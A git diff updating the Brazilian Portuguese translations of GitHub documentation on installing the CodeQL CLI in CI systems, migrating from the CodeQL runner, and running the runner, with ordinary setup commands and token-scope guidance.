-- {% data variables.product.prodname_codeql_cli %} product
-- A compatible version of the queries and libraries from https://github.com/github/codeql
-- Precompiled versions of all the queries included in the bundle
+- produto de {% data variables.product.prodname_codeql_cli %}
+- Uma versão compatível das consultas e bibliotecas de https://github.com/github/codeql
+- Versões pré-compiladas de todas as consultas incluídas no pacote
 
-You should always use the {% data variables.product.prodname_codeql %} bundle as this ensures compatibility and also gives much better performance than a separate download of the {% data variables.product.prodname_codeql_cli %} and checkout of the {% data variables.product.prodname_codeql %} queries. If you will only be running the CLI on one specific platform, download the appropriate `codeql-bundle-PLATFORM.tar.gz` file. Alternatively, you can download `codeql-bundle.tar.gz`, which contains the CLI for all supported platforms.
+Você sempre deve usar o pacote de {% data variables.product.prodname_codeql %}, uma vez que ele garante compatibilidade e também fornece um desempenho muito melhor do que um download separado de {% data variables.product.prodname_codeql_cli %} e checkout das consultas de {% data variables.product.prodname_codeql %}. Se você estiver executando o CLI apenas em uma plataforma específica, faça o download do arquivo `codeql-bundle-PLATFORM.tar.gz` apropriado. Como alternativa, você pode fazer o download de `codeql-bundle.tar.gz`, que contém a CLI para todas as plataformas compatíveis.
 
 {% data reusables.code-scanning.beta-codeql-packs-cli %}
 
-## Setting up the {% data variables.product.prodname_codeql_cli %} in your CI system
+## Configurando o {% data variables.product.prodname_codeql_cli %} no seu sistema de CI
 
-You need to make the full contents of the {% data variables.product.prodname_codeql_cli %} bundle available to every CI server that you want to run CodeQL {% data variables.product.prodname_code_scanning %} analysis on. For example, you might configure each server to copy the bundle from a central, internal location and extract it. Alternatively, you could use the REST API to get the bundle directly from {% data variables.product.prodname_dotcom %}, ensuring that you benefit from the latest improvements to queries. Updates to the {% data variables.product.prodname_codeql_cli %} are released every 2-3 weeks. For example:
+Você precisa disponibilizar todo o conteúdo do pacote {% data variables.product.prodname_codeql_cli %} para cada servidor de CI no qual você deseja executar a análise de CodeQL de {% data variables.product.prodname_code_scanning %}. Por exemplo, você pode configurar cada servidor para que copie o pacote de um local interno central, interno e extraí-lo. Como alternativa, você pode usar a API REST para obter o pacote diretamente do {% data variables.product.prodname_dotcom %}, garantindo que você irá beneficiar-se das últimas melhorias das consultas. Atualizações no {% data variables.product.prodname_codeql_cli %} são lançadas a cada 2 a 3 semanas. Por exemplo:
 
 ```shell
 $ wget https://{% ifversion fpt or ghec %}github.com{% else %}<em>HOSTNAME</em>{% endif %}/github/codeql-action/releases/latest/download/codeql-bundle-linux64.tar.gz
 $ tar -xvzf ../codeql-bundle-linux64.tar.gz
 ```
 
-After you extract the {% data variables.product.prodname_codeql_cli %} bundle, you can run the `codeql` executable on the server:
+Depois de extrair o pacote do {% data variables.product.prodname_codeql_cli %}, você poderá executar o executável `codeql` no servidor:
 
-- By executing `/<extraction-root>/codeql/codeql`, where `<extraction-root>` is the folder where you extracted the {% data variables.product.prodname_codeql_cli %} bundle.
-- By adding `/<extraction-root>/codeql` to your `PATH`, so that you can run the executable as just `codeql`.
+- Ao executar `/<extraction-root>/codeql/codeql`, onde `<extraction-root>` é a pasta onde você extraiu o pacote {% data variables.product.prodname_codeql_cli %}.
+- Adicionando `/<extraction-root>/codeql` ao seu `PATH`, para que você possa executar o executável como apenas `codeql`.
 
-## Testing the {% data variables.product.prodname_codeql_cli %} set up
+## Testando a configuração de {% data variables.product.prodname_codeql_cli %}
 
-After you extract the {% data variables.product.prodname_codeql_cli %} bundle, you can run the following command to verify that the CLI is correctly set up to create and analyze databases.
+Depois de extrair o pacote de {% data variables.product.prodname_codeql_cli %}, você pode executar o comando a seguir para verificar se a CLI está configurada corretamente para criar e analisar bases de dados.
 
-- `codeql resolve qlpacks` if `/<extraction-root>/codeql` is on the `PATH`.
-- `/<extraction-root>/codeql/codeql resolve qlpacks` otherwise.
+- `codeql resolve qlpacks` se `/<extraction-root>/codeql` estiver em `PATH`.
+- Caso contrário, `/<extraction-root>/codeql/codeql resolve qlpacks`.
 
-**Extract from successful output:**
+**Extrair da saída bem-sucedida:**
 ```
 codeql-cpp (/<extraction-root>/codeql/qlpacks/codeql-cpp)
 codeql-cpp-examples (/<extraction-root>/codeql/qlpacks/codeql-cpp-examples)
@@ -92,12 +93,12 @@ codeql-python-upgrades (/<extraction-root>/codeql/qlpacks/codeql-python-upgrades
 ...
 ```
 
-You should check that the output contains the expected languages and also that the directory location for the qlpack files is correct. The location should be within the extracted {% data variables.product.prodname_codeql_cli %} bundle, shown above as `<extraction root>`, unless you are using a checkout of `github/codeql`. If the {% data variables.product.prodname_codeql_cli %} is unable to locate the qlpacks for the expected languages, check that you downloaded the {% data variables.product.prodname_codeql %} bundle and not a standalone copy of the {% data variables.product.prodname_codeql_cli %}.
+Você deve verificar se a saída contém as linguagens esperadas e também se o local do diretório de arquivos qlpack está correto. O local deve estar dentro do pacote de {% data variables.product.prodname_codeql_cli %} extraído, mostrado acima como `<extraction root>`, a menos que você esteja usando uma verificação `github/codeql`. Se o {% data variables.product.prodname_codeql_cli %} não conseguir localizar os qlpacks para as linguagens esperadas, certifique-se de que você faz o download do pacote {% data variables.product.prodname_codeql %} e não uma cópia independente do {% data variables.product.prodname_codeql_cli %}.
 
-## Generating a token for authentication with {% data variables.product.product_name %}
+## Gerando um token para autenticação com {% data variables.product.product_name %}
 
-Each CI server needs a {% data variables.product.prodname_github_app %} or personal access token for the {% data variables.product.prodname_codeql_cli %} to use to upload results to {% data variables.product.product_name %}. You must use an access token or a {% data variables.product.prodname_github_app %} with the `security_events` write permission. If CI servers already use a token with this scope to checkout repositories from {% data variables.product.product_name %}, you could potentially allow the {% data variables.product.prodname_codeql_cli %} to use the same token. Otherwise, you should create a new token with the `security_events` write permission and add this to the CI system's secret store. For information, see "[Building {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps)" and "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)."
+Cada servidor de CI precisa de um {% data variables.product.prodname_github_app %} ou token de acesso pessoal para {% data variables.product.prodname_codeql_cli %} para usar para fazer o upload dos resultados para {% data variables.product.product_name %}. Você deve usar um token de acesso ou um {% data variables.product.prodname_github_app %} com a permissão de gravação de `security_events`. Se os servidores de CI já usam um token com este escopo para repositórios de checkout de {% data variables.product.product_name %}, potencialmente você poderia permitir que {% data variables.product.prodname_codeql_cli %} usasse o mesmo token. Caso contrário, você deve criar um novo token com a permissão de gravação de `security_events` e adicionar isso à loja secreta do sistema de CI. Para obter informações, consulte "[Criar {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps)" e "[Criar um token de acesso pessoal](/github/authenticating-to-github/creating-a-personal-access-token)".
 
-## Next steps
+## Próximas etapas
 
-You're now ready to configure the CI system to run {% data variables.product.prodname_codeql %} analysis, generate results, and upload them to {% data variables.product.product_name %} where the results will be matched to a branch or pull request and displayed as {% data variables.product.prodname_code_scanning %} alerts. For detailed information, see "[Configuring {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system)."
+Agora você está pronto para configurar o sistema de CI para executar a análise de {% data variables.product.prodname_codeql %}, gerar resultados e enviá-los para {% data variables.product.product_name %} onde os resultados serão correspondidos com um branch ou pull request e exibidos como alertas de {% data variables.product.prodname_code_scanning %}. Para obter informações detalhadas, consulte "[Configurar {% data variables.product.prodname_codeql_cli %} no seu sistema de CI](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system)".
diff --git a/translations/pt-BR/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli.md b/translations/pt-BR/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli.md
index c2c3020329..0dc75f44bc 100644
--- a/translations/pt-BR/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli.md
+++ b/translations/pt-BR/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli.md
@@ -1,7 +1,7 @@
 ---
-title: Migrating from the CodeQL runner to CodeQL CLI
-shortTitle: Migrating from the CodeQL runner
-intro: 'You can use the {% data variables.product.prodname_codeql_cli %} to complete the same tasks as with the {% data variables.product.prodname_codeql_runner %}.'
+title: Fazendo a migração do executor CodeQL para a CLI do CodeQL
+shortTitle: Fazendo a migração do executor do CodeQL
+intro: 'Você pode usar o {% data variables.product.prodname_codeql_cli %} para realizar as mesmas tarefas que {% data variables.product.prodname_codeql_runner %}.'
 product: '{% data reusables.gated-features.code-scanning %}'
 versions:
   fpt: '*'
@@ -14,50 +14,49 @@ topics:
   - CodeQL
 ---
 
-# Migrating from the {% data variables.product.prodname_codeql_runner %} to the {% data variables.product.prodname_codeql_cli %}
+# Fazendo a migração de {% data variables.product.prodname_codeql_runner %} para {% data variables.product.prodname_codeql_cli %}
 
-The {% data variables.product.prodname_codeql_runner %} is being deprecated. You can use the {% data variables.product.prodname_codeql_cli %} version 2.6.2 and greater instead.
-This document describes how to migrate common workflows from the {% data variables.product.prodname_codeql_runner %} to the {% data variables.product.prodname_codeql_cli %}.
+{% data variables.product.prodname_codeql_runner %} está tornando-se obsoleto. Em vez disso, você pode usar a versão 2.6.3 de {% data variables.product.prodname_codeql_cli %} ou superior. Este documento descreve como fazer a migração de fluxos de trabalho comuns de {% data variables.product.prodname_codeql_runner %} para {% data variables.product.prodname_codeql_cli %}.
 
-## Installation
+## Instalação
 
-Download the **{% data variables.product.prodname_codeql %} bundle** from the [`github/codeql-action` repository](https://github.com/github/codeql-action/releases). This bundle contains the {% data variables.product.prodname_codeql_cli %} and the standard {% data variables.product.prodname_codeql %} queries and libraries.
+Faça o download do **{% data variables.product.prodname_codeql %} pacote** a partir do repositório [`github/codeql-action`](https://github.com/github/codeql-action/releases). Este pacote contém {% data variables.product.prodname_codeql_cli %} e as consultas e bibliotecas padrão de {% data variables.product.prodname_codeql %}.
 
-For more information on setting up the {% data variables.product.prodname_codeql_cli %}, see "[Installing {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)."
+Para obter mais informações sobre como configurar o {% data variables.product.prodname_codeql_cli %}, consulte "[Instalando {% data variables.product.prodname_codeql_cli %} no seu sistema de CI](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)".
 
-## Overview of workflow changes
+## Visão geral das alterações do fluxo de trabalho
 
-A typical workflow that uses the {% data variables.product.prodname_codeql_runner %} to analyze a codebase has the following steps.
-- `codeql-runner-<platform> init` to start creating {% data variables.product.prodname_codeql %} databases and read the configuration.
-- For compiled languages: set environment variables produced by the `init` step.
-- For compiled languages: run autobuild or manual build steps.
-- `codeql-runner-<platform> analyze` to finish creating {% data variables.product.prodname_codeql %} databases, run queries to analyze each {% data variables.product.prodname_codeql %} database, summarize the results in a SARIF file, and upload the results to {% data variables.product.prodname_dotcom %}.
+Um fluxo de trabalho típico que usa o {% data variables.product.prodname_codeql_runner %} para analisar uma base de código tem as seguintes etapas.
+- `codeql-runner-<platform> inicia` para começar a criar bancos de dados de {% data variables.product.prodname_codeql %} e ler a configuração.
+- Para linguagens compiladas: defina variáveis de ambiente produzidas pela etapa `init`.
+- Para linguagens compiladas: execute o autobuild ou etapas manuais de compilação.
+- `codeql-runner-<platform> analise` para terminar de criar bancos de dados de {% data variables.product.prodname_codeql %}, executar consultas para analisar cada banco de dados de {% data variables.product.prodname_codeql %}, resumir os resultados em um arquivo SARIF e fazer o upload dos resultados para {% data variables.product.prodname_dotcom %}.
 
-A typical workflow that uses the {% data variables.product.prodname_codeql_cli %} to analyze a codebase has the following steps.
-- `codeql database create` to create {% data variables.product.prodname_codeql %} databases.
-  - For compiled languages: Optionally provide a build command.
-- `codeql database analyze` to run queries to analyze each {% data variables.product.prodname_codeql %} database and summarize the results in a SARIF file. This command must be run once for each language or database.
-- `codeql github upload-results` to upload the resulting SARIF files to {% data variables.product.prodname_dotcom %}, to be displayed as code scanning alerts. This command must be run once for each language or SARIF file.
+Um fluxo de trabalho típico que usa o {% data variables.product.prodname_codeql_cli %} para analisar uma base de código tem as seguintes etapas.
+- `codeql database create` para criar bancos de dados de {% data variables.product.prodname_codeql %}.
+  - Para linguagens compiladas: Opcionalmente, forneça um comando de criação.
+- `codeql base de dados analisa` para executar consultas para analisar cada banco de dados de {% data variables.product.prodname_codeql %} e resumir os resultados de um arquivo SARIF. Esse comando deve ser executado uma vez para cada linguagem ou banco de dados.
+- `github do codeql upload-results` para fazer o upload dos arquivos SARIF para {% data variables.product.prodname_dotcom %} resultantes e serem exibidos como alertas de verificação de código. Esse comando deve ser executado uma vez para cada linguagem ou arquivo SARIF.
 
-The {% data variables.product.prodname_codeql_runner %} is multithreaded by default. The {% data variables.product.prodname_codeql_cli %} only uses a single thread by default, but allows you to specify the amount of threads you want it to use. If you want to replicate the behavior of the {% data variables.product.prodname_codeql_runner %} to use all threads available on the machine when using the {% data variables.product.prodname_codeql_cli %}, you can pass `--threads 0` to `codeql database analyze`.
+O {% data variables.product.prodname_codeql_runner %} tem váris segmentos por padrão. O {% data variables.product.prodname_codeql_cli %} só usa um único segmento por padrão, mas permite que você especifique a quantidade de segmentos que você deseja que ele use. Se você deseja replicar o comportamento do {% data variables.product.prodname_codeql_runner %} para usar todos os segmentos disponíveis na máquina ao usar o {% data variables.product.prodname_codeql_cli %}, você pode passar `--threads 0` para `codeql analyze`.
 
-For more information, see "[Configuring {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system)."
+Para obter mais informações, consulte "[Configurar o {% data variables.product.prodname_codeql_cli %} no seu sistema de CI](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system)".
 
-## Examples of common uses for the {% data variables.product.prodname_codeql_cli %}
+## Exemplos de usos comuns para o {% data variables.product.prodname_codeql_cli %}
 
-### About the examples
+### Sobre os exemplos
 
-These examples assume that the source code has been checked out to the current working directory. If you use a different directory, change the `--source-root` argument and the build steps accordingly.
+Estes exemplos assumem que o código-fonte foi check-out para o diretório de trabalho atual. Se você usa um diretório diferente, mude o argumento `--source-root` e as etapas de criação.
 
-These examples also assume that the {% data variables.product.prodname_codeql_cli %} is placed on the current PATH.
+Esses exemplos também assumem que a {% data variables.product.prodname_codeql_cli %} é colocado no PATH atual.
 
-In these examples, a {% data variables.product.prodname_dotcom %} token with suitable scopes is stored in the `$TOKEN` environment variable and passed to the example commands via stdin, or is stored in the `$GITHUB_TOKEN` environment variable.
+Nestes exemplos, um token de {% data variables.product.prodname_dotcom %} com escopos adequados é armazenado na variável de ambiente `$TOKEN` e passado para os comandos de exemplo via stdin ou é armazenado na variável de ambiente `$GITHUB_TOKEN`.
 
-The ref name and commit SHA being checked out and analyzed in these examples are known during the workflow. For a branch, use `refs/heads/BRANCH-NAME` as the ref. For the head commit of a pull request, use `refs/pulls/NUMBER/head`. For a {% data variables.product.prodname_dotcom %}-generated merge commit of a pull request, use `refs/pulls/NUMBER/merge`. The examples below all use `refs/heads/main`. If you use a different branch name, you must modify the sample code.
+O nome da ref e o commit SHA que está sendo verificado e analisado nesses exemplos são conhecidos durante o fluxo de trabalho. Para um branch, use `refs/heads/BRANCH-NAME` como ref. Para o commit principal de um pull request, use `refs/pulls/NUMBER/head`. Para um commit de merge gerado por {% data variables.product.prodname_dotcom %} de um pull request, use `refs/pulls/NUMBER/merge`. Todos ps exemplos abaixo usam `refs/heads/main`. Se você usar um nome de branch diferente, deverá modificar o código do exemplo.
 
-### Single non-compiled language (JavaScript)
+### Linguagem única não compilada (JavaScript)
 
-Runner:
+Executor:
 ```bash
 echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \
     --languages javascript \
@@ -82,11 +81,11 @@ echo "$TOKEN" | codeql github upload-results --repository=my-org/example-repo \
     --sarif=/temp/example-repo-js.sarif --github-auth-stdin
 ```
 
-### Single non-compiled language (JavaScript) using a different query suite (security-and-quality)
+### Linguagem única não compilada (JavaScript) que usa um conjunto de consultas diferente (segurança e qualidade)
 
-A similar approach can be taken for compiled languages, or multiple languages.
+É possível adotar uma abordagem semelhante para as linguagens compiladas ou para várias linguagens.
 
-Runner:
+Executor:
 ```bash
 echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \
     --languages javascript \
@@ -112,11 +111,11 @@ echo "$TOKEN" | codeql github upload-results --repository=my-org/example-repo \
     --sarif=/temp/example-repo-js.sarif --github-auth-stdin
 ```
 
-### Single non-compiled language (JavaScript) using a custom configuration file
+### Linguagem única não compilada (JavaScript) que usa um arquivo de configuração personalizado
 
-A similar approach can be taken for compiled languages, or multiple languages.
+É possível adotar uma abordagem semelhante para as linguagens compiladas ou para várias linguagens.
 
-Runner:
+Executor:
 ```bash
 echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \
     --languages javascript \
@@ -143,9 +142,9 @@ echo "$TOKEN" | codeql github upload-results --repository=my-org/example-repo \
     --sarif=/temp/example-repo-js.sarif --github-auth-stdin
 ```
 
-### Single compiled language using autobuild (Java)
+### Linguagem compilada única que usa autobuild (Java)
 
-Runner:
+Executor:
 ```bash
 echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \
     --languages java \
@@ -177,9 +176,9 @@ echo "$TOKEN" | codeql github upload-results --repository=my-org/example-repo \
     --sarif=/temp/example-repo-java.sarif --github-auth-stdin
 ```
 
-### Single compiled language using a custom build command (Java)
+### Uma linguagem compilada que usa um comando de criação personalizado (Java)
 
-Runner:
+Executor:
 ```bash
 echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \
     --languages java \
@@ -210,11 +209,11 @@ echo "$TOKEN" | codeql github upload-results --repository=my-org/example-repo \
     --sarif=/temp/example-repo-java.sarif --github-auth-stdin
 ```
 
-### Single compiled language using indirect build tracing (C# on Windows within Azure DevOps)
+### Linguagem compilada única que usa rastreamento de compilação indireta (C# no Windows dentro do Azure DevOps)
 
-Indirect build tracing for a compiled language enables {% data variables.product.prodname_codeql %} to detect all build steps between the `init` and `analyze` steps, when the code cannot be built using the autobuilder or an explicit build command line. This is useful when using preconfigured build steps from your CI system, such as the `VSBuild` and `MSBuild` tasks in Azure DevOps.
+O rastreamento indireto de compilação de uma linguagem permite que {% data variables.product.prodname_codeql %} detecte todos os passos de compilação entre as etapas `init` e `analyze`, quando o código não pode ser construído usando o autobuilder ou uma linha de comando de compilação explícita. Isso é útil ao usar as etapas de criação pré-configuradas do seu sistema de CI como, por exemplo, as tarefas `VSBuild` e `MSBuild` no Azure DevOps.
 
-Runner:
+Executor:
 ```yaml
 - task: CmdLine@1
   displayName: CodeQL Initialization
@@ -268,7 +267,7 @@ CLI:
 # For CodeQL to trace future build steps without knowing the explicit build commands,
 # it requires certain environment variables to be set during the build.
 # Read these generated environment variables and values, and set them so they are available for subsequent commands
-# in the build pipeline. This is done in PowerShell in this example.
+# in the build pipeline. Neste exemplo, isto é feito em PowerShell.
 - task: PowerShell@1
   displayName: Set CodeQL environment variables
   inputs:
@@ -283,7 +282,7 @@ CLI:
              echo "$template"
          }
 
-# Execute the pre-defined build step. Note the `msbuildArgs` variable.
+# Execute the pre-defined build step. Observe a variável `msbuildArgs`.
 - task: VSBuild@1
     inputs:
       solution: '**/*.sln'
@@ -295,7 +294,7 @@ CLI:
       clean: True
    displayName: Visual Studio Build
 
-# Read and set the generated environment variables to end build tracing. This is done in PowerShell in this example.
+# Read and set the generated environment variables to end build tracing. Neste exemplo, isto é feito em PowerShell.
 - task: PowerShell@1
    displayName: Clear CodeQL environment variables
    inputs:
@@ -332,12 +331,11 @@ CLI:
 
 ```
 
-### Multiple languages using autobuild (C++, Python)
+### Várias linguagens que usam autobuild (C++, Python)
 
-This example is not strictly possible with the {% data variables.product.prodname_codeql_runner %}.
-Only one language (the compiled language with the most files) will be analyzed.
+Este exemplo não é estritamente possível com {% data variables.product.prodname_codeql_runner %}. Apenas uma linguagem (a linguagem compilada com mais arquivos) será analisada.
 
-Runner:
+Executor:
 ```bash
 echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \
     --languages cpp,python \
@@ -375,9 +373,9 @@ for language in cpp python; do
 done
 ```
 
-### Multiple languages using a custom build command (C++, Python)
+### Várias linguagens que usam um comando de compilação personalizada (C++, Python)
 
-Runner:
+Executor:
 ```bash
 echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \
     --languages cpp,python \
diff --git a/translations/pt-BR/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system.md b/translations/pt-BR/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system.md
index 441e52b87a..b9bf8d50fe 100644
--- a/translations/pt-BR/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system.md
+++ b/translations/pt-BR/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system.md
@@ -1,7 +1,7 @@
 ---
-title: Running CodeQL runner in your CI system
-shortTitle: Run CodeQL runner
-intro: 'You can use the {% data variables.product.prodname_codeql_runner %} to perform {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in a third-party continuous integration system.'
+title: Executando um executor de CodeQL no seu sistema de CI
+shortTitle: Executar o executor do CodeQL
+intro: 'Você pode usar {% data variables.product.prodname_codeql_runner %} para executar {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} em um sistema de integração contínua de terceiros.'
 product: '{% data reusables.gated-features.code-scanning %}'
 redirect_from:
   - /github/finding-security-vulnerabilities-and-errors-in-your-code/running-code-scanning-in-your-ci-system
@@ -25,6 +25,7 @@ topics:
   - CI
   - SARIF
 ---
+
 <!--For this article in earlier GHES versions, see /content/github/finding-security-vulnerabilities-and-errors-in-your-code-->
 <!--UI-LINK: When GitHub Enterprise Server <=3.0 doesn't have GitHub Actions set up, the Security > Code scanning alerts view links to this article.-->
 
@@ -32,94 +33,93 @@ topics:
 {% data reusables.code-scanning.beta %}
 {% data reusables.code-scanning.enterprise-enable-code-scanning %}
 
-## About the {% data variables.product.prodname_codeql_runner %}
+## Sobre o {% data variables.product.prodname_codeql_runner %}
 
-The {% data variables.product.prodname_codeql_runner %} is a tool you can use to run {% data variables.product.prodname_code_scanning %} on code that you're processing in a third-party continuous integration (CI) system. {% data reusables.code-scanning.about-code-scanning %} For information, see "[About {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql)."
+O {% data variables.product.prodname_codeql_runner %} é uma ferramenta que você pode usar para executar {% data variables.product.prodname_code_scanning %} no código que você está processando em um sistema de integração contínua de terceiros (CI). {% data reusables.code-scanning.about-code-scanning %} Para obter informações, consulte "[Sobre {% data variables.product.prodname_code_scanning %} com {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql)."
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-In many cases it is easier to set up {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} using the {% data variables.product.prodname_codeql_cli %} directly in your CI system. 
+Em muitos casos, é mais fácil configurar {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} usando {% data variables.product.prodname_codeql_cli %} diretamente no seu sistema de CI.
 {% endif %}
 
-Alternatively, you can use {% data variables.product.prodname_actions %} to run {% data variables.product.prodname_code_scanning %} within {% data variables.product.product_name %}. For information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)."
+Como alternativa, você pode usar {% data variables.product.prodname_actions %} para executar {% data variables.product.prodname_code_scanning %} em {% data variables.product.product_name %}. Para obter informações, consulte "[Configurar {% data variables.product.prodname_code_scanning %} para um repositório](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)".
 
-The {% data variables.product.prodname_codeql_runner %} is a command-line tool that runs {% data variables.product.prodname_codeql %} analysis on a checkout of a {% data variables.product.prodname_dotcom %} repository. You add the runner to your third-party system, then call the runner to analyze code and upload the results to {% data variables.product.product_name %}. These results are displayed as {% data variables.product.prodname_code_scanning %} alerts in the repository.
+O {% data variables.product.prodname_codeql_runner %} é uma ferramenta de linha de comando que executa a análise de {% data variables.product.prodname_codeql %} em um checkout de um repositório do {% data variables.product.prodname_dotcom %}. Você adiciona o executor ao seu sistema de terceiros e, em seguida, chama o executor para analisar o código e fazer o upload dos resultados para o {% data variables.product.product_name %}. Estes resultados são exibidos como alertas do {% data variables.product.prodname_code_scanning %} no repositório.
 
 {% note %}
 
-**Note:**
+**Observação:**
 {% ifversion fpt or ghec %}
-* The {% data variables.product.prodname_codeql_runner %} uses the {% data variables.product.prodname_codeql %} CLI to analyze code and therefore has the same license conditions. It's free to use on public repositories that are maintained on {% data variables.product.prodname_dotcom_the_website %}, and available to use on private repositories that are owned by customers with an {% data variables.product.prodname_advanced_security %} license. For information, see "[{% data variables.product.product_name %} {% data variables.product.prodname_codeql %} Terms and Conditions](https://securitylab.github.com/tools/codeql/license)" and "[{% data variables.product.prodname_codeql %} CLI](https://codeql.github.com/docs/codeql-cli/)."
+* O {% data variables.product.prodname_codeql_runner %} usa o CLI de {% data variables.product.prodname_codeql %} para analisar o código e, portanto, tem as mesmas condições da licença. É grátis usar em repositórios públicos que são mantidos no {% data variables.product.prodname_dotcom_the_website %}, e disponíveis para uso em repositórios privados que são propriedade de clientes com uma licença do {% data variables.product.prodname_advanced_security %}. Para obter informações, consulte "[{% data variables.product.product_name %} Termos e Condições](https://securitylab.github.com/tools/codeql/license) de do CLI de {% data variables.product.prodname_codeql %} " e "[{% data variables.product.prodname_codeql %}](https://codeql.github.com/docs/codeql-cli/)".
 {% else %}
-* The {% data variables.product.prodname_codeql_runner %} is available to customers with an {% data variables.product.prodname_advanced_security %} license.
+* O {% data variables.product.prodname_codeql_runner %} está disponível para os clientes com uma licença de {% data variables.product.prodname_advanced_security %}.
 {% endif %}
 {% ifversion ghes < 3.1 or ghae %}
-* The {% data variables.product.prodname_codeql_runner %} shouldn't be confused with the {% data variables.product.prodname_codeql %} CLI. The {% data variables.product.prodname_codeql %} CLI is a command-line interface that lets you create {% data variables.product.prodname_codeql %} databases for security research and run {% data variables.product.prodname_codeql %} queries.
-For more information, see "[{% data variables.product.prodname_codeql_cli %}](https://codeql.github.com/docs/codeql-cli/)."
+* O {% data variables.product.prodname_codeql_runner %} não deve ser confundido com o CLI de {% data variables.product.prodname_codeql %}. A CLI de {% data variables.product.prodname_codeql %} é uma interface de linha de comando que permite que você crie bancos de dados de {% data variables.product.prodname_codeql %} para pesquisa de segurança e executar consultas de {% data variables.product.prodname_codeql %}. Para obter mais informações, consulte "[{% data variables.product.prodname_codeql_cli %}](https://codeql.github.com/docs/codeql-cli/)".
 {% endif %}
 {% endnote %}
 
-## Downloading the {% data variables.product.prodname_codeql_runner %}
+## Fazer o download do {% data variables.product.prodname_codeql_runner %}
 
-You can download the {% data variables.product.prodname_codeql_runner %} from https://{% ifversion fpt or ghec %}github.com{% else %}<em>HOSTNAME</em>{% endif %}/github/codeql-action/releases. On some operating systems, you may need to change permissions for the downloaded file before you can run it.
+Você pode fazer o download de {% data variables.product.prodname_codeql_runner %} de https://{% ifversion fpt or ghec %}github.com{% else %}<em>HOSTNAME</em>{% endif %}/github/codeql-action/releases. Em alguns sistemas operacionais, talvez você precise alterar as permissões para o arquivo baixado antes de executá-lo.
 
-On Linux:
+No Linux:
 
 ```shell
 chmod +x codeql-runner-linux
 ```
 
-On macOS:
+No macOS:
 
 ```shell
 chmod +x codeql-runner-macos
 sudo xattr -d com.apple.quarantine codeql-runner-macos
 ```
 
-On Windows, the `codeql-runner-win.exe` file usually requires no change to permissions.
+No Windows, o arquivo `codeql-runner-win.exe` normalmente não exige alteração de permissões.
 
-## Adding the {% data variables.product.prodname_codeql_runner %} to your CI system
+## Adicionar {% data variables.product.prodname_codeql_runner %} ao seu sistema de CI
 
-Once you download the {% data variables.product.prodname_codeql_runner %} and verify that it can be executed, you should make the runner available to each CI server that you intend to use for {% data variables.product.prodname_code_scanning %}. For example, you might configure each server to copy the runner from a central, internal location. Alternatively, you could use the REST API to get the runner directly from {% data variables.product.prodname_dotcom %}, for example: 
+Após fazer o download de {% data variables.product.prodname_codeql_runner %} e verificar se pode ser executado, você deverá disponibilizar o executor para cada servidor de CI que você pretende usar para {% data variables.product.prodname_code_scanning %}. Por exemplo, você pode configurar cada servidor para que copie o executor de um local central interno. Como alternativa, você poderia usar a API REST para obter o executor diretamente do {% data variables.product.prodname_dotcom %}, por exemplo:
 
 ```shell
 wget https://{% ifversion fpt or ghec %}github.com{% else %}<em>HOSTNAME</em>{% endif %}/github/codeql-action/releases/latest/download/codeql-runner-linux
 chmod +x codeql-runner-linux
 ```
 
-In addition to this, each CI server also needs:
+Além disso, cada servidor de CI também precisa:
 
-- A {% data variables.product.prodname_github_app %} or personal access token for the {% data variables.product.prodname_codeql_runner %} to use. You must use an access token with the `repo` scope, or a {% data variables.product.prodname_github_app %} with the `security_events` write permission, and `metadata` and `contents` read permissions. For information, see "[Building {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps)" and "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)."
